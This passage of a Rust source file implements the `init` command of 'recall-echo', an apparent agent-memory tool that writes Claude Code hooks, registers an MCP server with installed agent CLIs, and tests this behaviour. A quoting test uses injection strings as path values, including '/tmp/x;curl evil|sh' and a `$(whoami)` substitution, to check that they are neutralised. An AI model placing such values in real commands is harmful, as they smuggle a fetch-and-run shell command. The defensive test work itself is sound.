                && inner
                    .iter()
                    .all(|h| h.get("command").and_then(|c| c.as_str()) == Some(expected));
            if all_ours {
                if let Some(m) = matcher {
                    if group.get("matcher").and_then(|v| v.as_str()) != Some(m) {
                        group["matcher"] = serde_json::Value::String(m.to_string());
                        changed = true;
                    }
                }
            }
        }
        // A dedup pass can leave a group with no hooks; an empty group is
        // noise the harness still iterates.
        arr.retain(|group| {
            group
                .get("hooks")
                .and_then(|h| h.as_array())
                .is_none_or(|inner| !inner.is_empty())
        });
    }

    if found {
        return Ok(changed);
    }

    let arr = hooks
        .entry(event)
        .or_insert_with(|| serde_json::json!([]))
        .as_array_mut()
        .ok_or_else(not_array)?;
    let mut group = serde_json::json!({
        "hooks": [{"type": "command", "command": expected}]
    });
    if let Some(m) = matcher {
        group["matcher"] = serde_json::Value::String(m.to_string());
    }
    arr.push(group);
    Ok(true)
}

// ── MCP registration ─────────────────────────────────────────────────────

/// Register the MCP server with every agent CLI on the machine.
///
/// Without this the graph is read-only in theory and unread in practice: the
/// server exists, and every user has to find the `mcp add` line in the README
/// to reach it. Doing it here means memory is queryable from the next session
/// on, in every client the user already has.
fn register_mcp_clients(
    runtime: &tokio::runtime::Runtime,
    detected: &[AgentCli],
    entity_root: &Path,
) -> Vec<McpReport> {
    if detected.is_empty() {
        return Vec::new();
    }

    let exe = recall_binary();
    if is_build_dir(&exe) {
        print_status(
            Status::Exists,
            "Skipped MCP registration — running from a build directory",
        );
        return Vec::new();
    }

    let root = fs::canonicalize(entity_root).unwrap_or_else(|_| entity_root.to_path_buf());
    let reports: Vec<McpReport> = runtime.block_on(async {
        let mut reports = Vec::with_capacity(detected.len());
        for cli in detected {
            reports.push(agent_cli::register_mcp(*cli, &exe, &root).await);
        }
        reports
    });

    for report in &reports {
        match &report.status {
            McpStatus::Registered => print_status(
                Status::Created,
                &format!("Registered MCP server with {}", report.cli),
            ),
            McpStatus::AlreadyRegistered => print_status(
                Status::Exists,
                &format!("MCP server already registered with {}", report.cli),
            ),
            McpStatus::Failed(detail) => {
                print_status(
                    Status::Error,
                    &format!("Could not register MCP with {}: {detail}", report.cli),
                );
                eprintln!("    {DIM}run it yourself: {}{RESET}", report.command);
            }
        }
    }
    reports
}

// ── Summary ──────────────────────────────────────────────────────────────

/// Everything `init` decided, as the closing summary needs it.
struct Summary {
    memory_dir: std::path::PathBuf,
    provider: Option<Provider>,
    capture: Vec<Source>,
    mcp: Vec<McpReport>,
    embedder: WarmOutcome,
}

impl Summary {
    /// Clients that will be able to query memory over MCP.
    fn mcp_ready(&self) -> Vec<&'static str> {
        self.mcp
            .iter()
            .filter(|report| !matches!(report.status, McpStatus::Failed(_)))
            .map(|report| report.cli.label())
            .collect()
    }
}

/// Tell the user what will now happen without them doing anything.
fn print_summary(summary: &Summary) {
    eprintln!("\n{BOLD}Setup complete.{RESET}\n");
    print_status(
        Status::Created,
        &format!("memory initialised at {}", summary.memory_dir.display()),
    );

    match &summary.provider {
        Some(provider) => print_status(
            Status::Created,
            &format!("extraction: {}", extraction_line(provider)),
        ),
        None => print_status(
            Status::Exists,
            "extraction: not configured — `recall-echo config set provider <name>`",
        ),
    }

    if summary.capture.is_empty() {
        print_status(
            Status::Exists,
            "capture: no agent CLI has recorded sessions here yet",
        );
    } else {
        let names: Vec<&str> = summary.capture.iter().map(Source::as_str).collect();
        print_status(Status::Created, &format!("capture: {}", names.join(", ")));
    }

    let ready = summary.mcp_ready();
    if !ready.is_empty() {
        print_status(
            Status::Created,
            &format!("MCP registered: {}", ready.join(", ")),
        );
    }

    match &summary.embedder {
        WarmOutcome::Ready => print_status(Status::Created, "embedding model ready"),
        WarmOutcome::Skipped(reason) => print_status(
            Status::Exists,
            &format!("embedding model not warmed ({reason}) — downloads on first use"),
        ),
        WarmOutcome::Failed(detail) => print_status(
            Status::Exists,
            &format!("embedding model not downloaded ({detail}) — retries on first use"),
        ),
    }

    eprintln!("\n  {BOLD}Your next session will be remembered.{RESET}\n");
    eprintln!("  {DIM}recall-echo status       — is it healthy, what has it got{RESET}");
    eprintln!("  {DIM}recall-echo config show  — what it decided{RESET}");
    eprintln!();
}

/// Check if stderr is a terminal (for interactive prompts).
fn atty_check() -> bool {
    use std::io::IsTerminal;
    std::io::stderr().is_terminal()
}

// ── Entry point ──────────────────────────────────────────────────────────

/// Initialize memory structure at the given entity root.
///
/// Creates:
/// ```text
/// {entity_root}/memory/
/// ├── MEMORY.md
/// ├── EPHEMERAL.md
/// ├── ARCHIVE.md
/// ├── .recall-echo.toml
/// ├── graph/
/// └── conversations/
/// ```
pub fn run(entity_root: &Path) -> Result<(), RecallError> {
    let stdin = io::stdin();
    let mut reader = stdin.lock();
    run_with_reader(entity_root, &mut reader)
}

/// Testable init with injectable reader.
pub fn run_with_reader(entity_root: &Path, reader: &mut dyn BufRead) -> Result<(), RecallError> {
    if !entity_root.exists() {
        return Err(RecallError::NotInitialized(format!(
            "Directory not found: {}\n  Create the directory first, or run from a valid path.",
            entity_root.display()
        )));
    }

    eprintln!("\n{BOLD}recall-echo{RESET} — initializing memory system\n");

    let memory_dir = entity_root.join("memory");
    let conversations_dir = memory_dir.join("conversations");
    ensure_dir(&memory_dir);
    ensure_dir(&conversations_dir);
    notice_legacy_conversations(entity_root, &conversations_dir);

    // Pin this root for flagless hook invocations (#46): capture must land in
    // the store the MCP server serves, not wherever the session's cwd is.
    match paths::persist_entity_root(entity_root) {
        Ok(file) => print_status(
            Status::Created,
            &format!("Entity root persisted to {}", file.display()),
        ),
        Err(e) => print_status(
            Status::Error,
            &format!("Could not persist entity root: {e}"),
        ),
    }

    // Write MEMORY.md (never overwrite)
    write_if_not_exists(&memory_dir.join("MEMORY.md"), MEMORY_TEMPLATE, "MEMORY.md");

    // Write EPHEMERAL.md (never overwrite)
    write_if_not_exists(&memory_dir.join("EPHEMERAL.md"), "", "EPHEMERAL.md");

    // Write ARCHIVE.md (never overwrite)
    write_if_not_exists(
        &memory_dir.join("ARCHIVE.md"),
        ARCHIVE_TEMPLATE,
        "ARCHIVE.md",
    );

    let runtime = tokio::runtime::Builder::new_current_thread()
        .enable_all()
        .build();
    let runtime = match runtime {
        Ok(runtime) => Some(runtime),
        Err(e) => {
            print_status(Status::Error, &format!("Failed to start runtime: {e}"));
            None
        }
    };

    if let Some(runtime) = &runtime {
        init_graph(runtime, &memory_dir);
    }

    let detected = agent_cli::installed();
    let provider = configure_llm(reader, &memory_dir, &detected);

    // Hooks are Claude Code's capture mechanism, not a consequence of the
    // extraction provider: a user who extracts with grok still wants their
    // Claude Code sessions archived. `configure_hooks` no-ops when Claude Code
    // is not installed.
    configure_hooks(entity_root);

    let mcp = match &runtime {
        Some(runtime) => register_mcp_clients(runtime, &detected, entity_root),
        None => Vec::new(),
    };

    // Last, so an interrupted download costs nothing already done.
    let embedder = warm_embedding_model(&memory_dir);

    print_summary(&Summary {
        memory_dir,
        provider,
        capture: agent_cli::capturing(),
        mcp,
        embedder,
    });

    Ok(())
}

#[cfg(test)]
mod tests {
    use super::*;
    use std::io::Cursor;

    /// Init under `cargo test` runs from `target/debug/deps/…`, which is what
    /// keeps these tests off the developer's real hooks, MCP configs and
    /// network. Assert it, so a change in harness layout fails here rather
    /// than by rewriting someone's settings.json.
    #[test]
    fn the_test_binary_is_recognised_as_a_build_directory() {
        assert!(
            is_build_dir(&recall_binary()),
            "test binary should be treated as a build directory: {}",
            recall_binary()
        );
        assert!(!is_build_dir("/usr/local/bin/recall-echo"));
        assert!(!is_build_dir("/home/d/.cargo/bin/recall-echo"));
    }

    #[test]
    fn init_creates_directories_and_files() {
        let tmp = tempfile::tempdir().unwrap();
        let root = tmp.path().to_path_buf();
        let mut reader = Cursor::new(b"skip\n" as &[u8]); // skip provider prompt

        run_with_reader(&root, &mut reader).unwrap();

        assert!(root.join("memory/MEMORY.md").exists());
        assert!(root.join("memory/EPHEMERAL.md").exists());
        assert!(root.join("memory/ARCHIVE.md").exists());
        assert!(root.join("memory/conversations").exists());
    }

    #[test]
    fn init_is_idempotent() {
        let tmp = tempfile::tempdir().unwrap();
        let root = tmp.path().to_path_buf();
        let mut reader = Cursor::new(b"skip\n" as &[u8]);

        run_with_reader(&root, &mut reader).unwrap();
        fs::write(root.join("memory/MEMORY.md"), "custom content").unwrap();

        let mut reader2 = Cursor::new(b"skip\n" as &[u8]);
        run_with_reader(&root, &mut reader2).unwrap();
        let content = fs::read_to_string(root.join("memory/MEMORY.md")).unwrap();
        assert_eq!(content, "custom content");
    }

    /// A second `init` must not re-run the provider prompt or rewrite the
    /// config the user has since edited.
    #[test]
    fn a_second_init_preserves_the_configured_provider() {
        let tmp = tempfile::tempdir().unwrap();
        let root = tmp.path().to_path_buf();
        let memory_dir = root.join("memory");
        fs::create_dir_all(&memory_dir).unwrap();

        let chosen = configure_llm(
            &mut Cursor::new(b"" as &[u8]),
            &memory_dir,
            &[AgentCli::Grok],
        );
        assert_eq!(chosen, Some(Provider::Grok));

        // Empty reader: a prompt here would take the default and lose grok.
        let again = configure_llm(
            &mut Cursor::new(b"" as &[u8]),
            &memory_dir,
            &[AgentCli::ClaudeCode, AgentCli::Codex],
        );
        assert_eq!(again, Some(Provider::Grok));
    }

    #[test]
    fn init_fails_if_root_missing() {
        let mut reader = Cursor::new(b"" as &[u8]);
        let result = run_with_reader(Path::new("/nonexistent/path"), &mut reader);
        assert!(result.is_err());
    }

    /// One installed CLI is not a choice, so it is not a question — the reader
    /// is never touched.
    #[test]
    fn a_single_installed_cli_is_chosen_without_asking() {
        let mut reader = Cursor::new(b"" as &[u8]);
        assert_eq!(
            select_provider(&mut reader, &[AgentCli::Codex]),
            Some(Provider::Codex)
        );
        assert_eq!(reader.position(), 0, "nothing should have been read");
    }

    /// Non-interactive (the tests, and any scripted install): pick the default
    /// rather than block on a prompt nobody can answer.
    #[test]
    fn several_installed_clis_default_without_blocking() {
        let mut reader = Cursor::new(b"" as &[u8]);
        let chosen = select_provider(&mut reader, &[AgentCli::Grok, AgentCli::Codex]);
        assert_eq!(chosen, Some(Provider::Grok));
    }

    #[test]
    fn the_default_prefers_claude_code_over_install_order() {
        assert_eq!(
            default_cli(&[AgentCli::Codex, AgentCli::ClaudeCode]),
            AgentCli::ClaudeCode
        );
        assert_eq!(
            default_cli(&[AgentCli::Gemini, AgentCli::Grok]),
            AgentCli::Gemini
        );
        assert_eq!(default_cli(&[]), AgentCli::ClaudeCode);
    }

    #[test]
    fn no_installed_cli_falls_back_to_the_full_menu() {
        let mut reader = Cursor::new(b"" as &[u8]);
        assert_eq!(select_provider(&mut reader, &[]), Some(Provider::Anthropic));
    }

    #[test]
    fn the_summary_names_the_cost_of_each_provider() {
        assert!(extraction_line(&Provider::Grok).contains("no API billing"));
        assert!(extraction_line(&Provider::Anthropic).contains("ANTHROPIC_API_KEY"));
        assert!(extraction_line(&Provider::Openai).contains("free"));
    }

    #[test]
    fn the_summary_lists_only_the_clients_that_registered() {
        let summary = Summary {
            memory_dir: std::path::PathBuf::from("/tmp/memory"),
            provider: Some(Provider::Grok),
            capture: vec![Source::Grok],
            mcp: vec![
                McpReport {
                    cli: AgentCli::ClaudeCode,
                    status: McpStatus::Registered,
                    command: String::new(),
                },
                McpReport {
                    cli: AgentCli::Grok,
                    status: McpStatus::AlreadyRegistered,
                    command: String::new(),
                },
                McpReport {
                    cli: AgentCli::Gemini,
                    status: McpStatus::Failed("no".into()),
                    command: String::new(),
                },
            ],
            embedder: WarmOutcome::Ready,
        };
        assert_eq!(summary.mcp_ready(), ["claude-code", "grok"]);
    }

    fn upsert(settings: &mut serde_json::Value, root: &str) -> (bool, Vec<String>) {
        let mut skipped = Vec::new();
        let changed = upsert_recall_hooks(
            settings,
            "/usr/local/bin/recall-echo",
            Path::new(root),
            &mut skipped,
        )
        .unwrap();
        (changed, skipped)
    }

    #[test]
    fn hooks_carry_the_entity_root() {
        let mut settings = serde_json::json!({});
        let (changed, skipped) = upsert(&mut settings, "/home/d/.wiseferry");
        assert!(changed);
        assert!(skipped.is_empty());

        let text = settings.to_string();
        assert!(text.contains("archive-session --entity-root '/home/d/.wiseferry'"));
        assert!(text.contains("checkpoint --trigger precompact --entity-root '/home/d/.wiseferry'"));
        assert!(text.contains("consume '/home/d/.wiseferry'"));
    }

    /// The pre-4.2 bare hook is exactly what left capture broken outside the
    /// entity root. A re-run of `init` must repair it, not declare it present.
    #[test]
    fn a_legacy_bare_hook_is_rewritten_not_skipped() {
        let mut settings = serde_json::json!({
            "hooks": {
                "SessionStart": [{
                    "matcher": "startup|resume",
                    "hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo consume"}]
                }],
                "SessionEnd": [{
                    "hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session"}]
                }],
                "PreCompact": [{
                    "hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo checkpoint --trigger precompact"}]
                }]
            }
        });
        let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
        assert!(changed);
        // Every rewrite is reported — a silent replacement of a command the
        // user may have edited is how trust in the installer dies.
        assert_eq!(notes.len(), 3, "{notes:?}");
        assert!(notes.iter().all(|n| n.contains("updated")), "{notes:?}");

        let text = settings.to_string();
        assert!(text.contains("archive-session --entity-root '/home/d/.wiseferry'"));
        // Rewritten in place, not duplicated alongside the bare form.
        assert_eq!(text.matches("archive-session").count(), 1);
        assert_eq!(text.matches("checkpoint").count(), 1);
        assert_eq!(text.matches("consume").count(), 1);
    }

    #[test]
    fn a_correct_hook_set_is_left_unchanged() {
        let mut settings = serde_json::json!({});
        upsert(&mut settings, "/home/d/.wiseferry");

        let before = settings.clone();
        let (changed, _) = upsert(&mut settings, "/home/d/.wiseferry");
        assert!(!changed);
        assert_eq!(settings, before);
    }

    #[test]
    fn foreign_hooks_are_never_touched() {
        let mut settings = serde_json::json!({
            "hooks": {
                "SessionEnd": [{
                    "hooks": [{"type": "command", "command": "notify-send done"}]
                }]
            }
        });
        upsert(&mut settings, "/home/d/.wiseferry");

        let text = settings.to_string();
        assert!(text.contains("notify-send done"));
        assert!(text.contains("archive-session --entity-root '/home/d/.wiseferry'"));
    }

    /// A recall-echo hook the user wrapped or guarded — the `|| true`
    /// SessionEnd guard pulse-null depends on, a `timeout` prefix, a chained
    /// cleanup — is deliberate configuration. Repairing it would break it;
    /// it must be reported and left alone, and not duplicated either.
    #[test]
    fn a_wrapped_recall_hook_is_reported_not_rewritten() {
        let mut settings = serde_json::json!({
            "hooks": {
                "SessionEnd": [{
                    "hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session || true"}]
                }]
            }
        });
        let (_, skipped) = upsert(&mut settings, "/home/d/.wiseferry");
        assert_eq!(skipped.len(), 1);
        assert!(
            skipped[0].contains("archive-session || true"),
            "{skipped:?}"
        );

        let text = settings.to_string();
        assert!(text.contains("archive-session || true"));
        // Not duplicated with a canonical form alongside it.
        assert_eq!(text.matches("archive-session").count(), 1);
    }

    /// Quoting is unconditional and single-quoted: `$`, backticks, `;`, `"`
    /// and spaces must all reach the shell as literal path bytes.
    #[test]
    fn a_root_with_shell_metacharacters_is_neutralized() {
        for (root, quoted) in [
            (
                "/Users/d/My Files/.wiseferry",
                "'/Users/d/My Files/.wiseferry'",
            ),
            ("/tmp/x;curl evil|sh", "'/tmp/x;curl evil|sh'"),
            ("/tmp/$(whoami)/`id`", "'/tmp/$(whoami)/`id`'"),
        ] {
            let mut settings = serde_json::json!({});
            upsert(&mut settings, root);
            let text = settings.to_string();
            // None of these roots contain characters JSON escapes, so a
            // plain substring check sees exactly what the shell will.
            assert!(
                text.contains(&format!("--entity-root {quoted}")),
                "{root}: {text}"
            );
        }
    }

    /// An embedded single quote is the one byte single-quoting cannot pass
    /// through directly — it must be closed, escaped, reopened.
    #[test]
    fn an_embedded_single_quote_is_escaped() {
        assert_eq!(
            shell_path(Path::new("/home/d/o'brien")),
            r"'/home/d/o'\''brien'"
        );
    }

    /// Two stale hooks under one event — a binary-path change under the old
    /// installer could leave both — must both be repaired in one pass, not
    /// first-one-wins with the duplicate left permanently unreachable.
    #[test]
    fn duplicate_stale_hooks_collapse_to_one() {
        let mut settings = serde_json::json!({
            "hooks": {
                "SessionEnd": [
                    {"hooks": [{"type": "command", "command": "/old/path/recall-echo archive-session"}]},
                    {"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session"}]}
                ]
            }
        });
        let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
        assert!(changed);
        // Repairing both would turn a dead duplicate into a live one that
        // archives every session twice at double the extraction bill.
        assert!(
            notes.iter().any(|n| n.contains("removed a duplicate")),
            "{notes:?}"
        );

        let expected =
            "/usr/local/bin/recall-echo archive-session --entity-root '/home/d/.wiseferry'";
        let text = settings.to_string();
        assert_eq!(text.matches(expected).count(), 1, "{text}");
        assert_eq!(text.matches("archive-session").count(), 1, "{text}");
        // And a second run has nothing left to do.
        let (changed, _) = upsert(&mut settings, "/home/d/.wiseferry");
        assert!(!changed);
    }

    /// A prefix wrapper carries no shell operator, but it is customization
    /// all the same — `timeout 30 recall-echo archive-session` exists to
    /// bound a hang, and rewriting it would silently drop the bound.
    #[test]
    fn a_prefix_wrapped_hook_is_not_rewritten() {
        let mut settings = serde_json::json!({
            "hooks": {
                "SessionEnd": [{
                    "hooks": [{"type": "command", "command": "timeout 30 /usr/local/bin/recall-echo archive-session"}]
                }]
            }
        });
        let (_, notes) = upsert(&mut settings, "/home/d/.wiseferry");
        assert!(notes.iter().any(|n| n.contains("unchanged")), "{notes:?}");

        let text = settings.to_string();
        assert!(text.contains("timeout 30 /usr/local/bin/recall-echo archive-session"));
        // The wrapped hook stays the only one — no canonical duplicate added.
        assert_eq!(text.matches("archive-session").count(), 1, "{text}");
    }

    /// A canonical hook whose quoted root happens to contain shell operators
    /// (`;` is a legal path byte) is still ours: the operator scan must look
    /// outside the quotes, or our own hooks become permanently unrepairable.
    #[test]
    fn a_quoted_root_with_operators_stays_repairable() {
        let mut settings = serde_json::json!({
            "hooks": {
                "SessionEnd": [{
                    "hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session --entity-root '/tmp/a;b'"}]
                }]
            }
        });
        let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
        assert!(changed, "{notes:?}");

        let text = settings.to_string();
        assert!(
            text.contains("--entity-root '/home/d/.wiseferry'"),
            "{text}"
        );
        assert!(!text.contains("/tmp/a;b"), "{text}");
    }

    #[test]
    fn archive_template_has_header() {
        let tmp = tempfile::tempdir().unwrap();
        let mut reader = Cursor::new(b"skip\n" as &[u8]);
        run_with_reader(tmp.path(), &mut reader).unwrap();
        let content = fs::read_to_string(tmp.path().join("memory/ARCHIVE.md")).unwrap();
        assert!(content.contains("# Conversation Archive"));
        assert!(content.contains("| # | Date"));
    }
}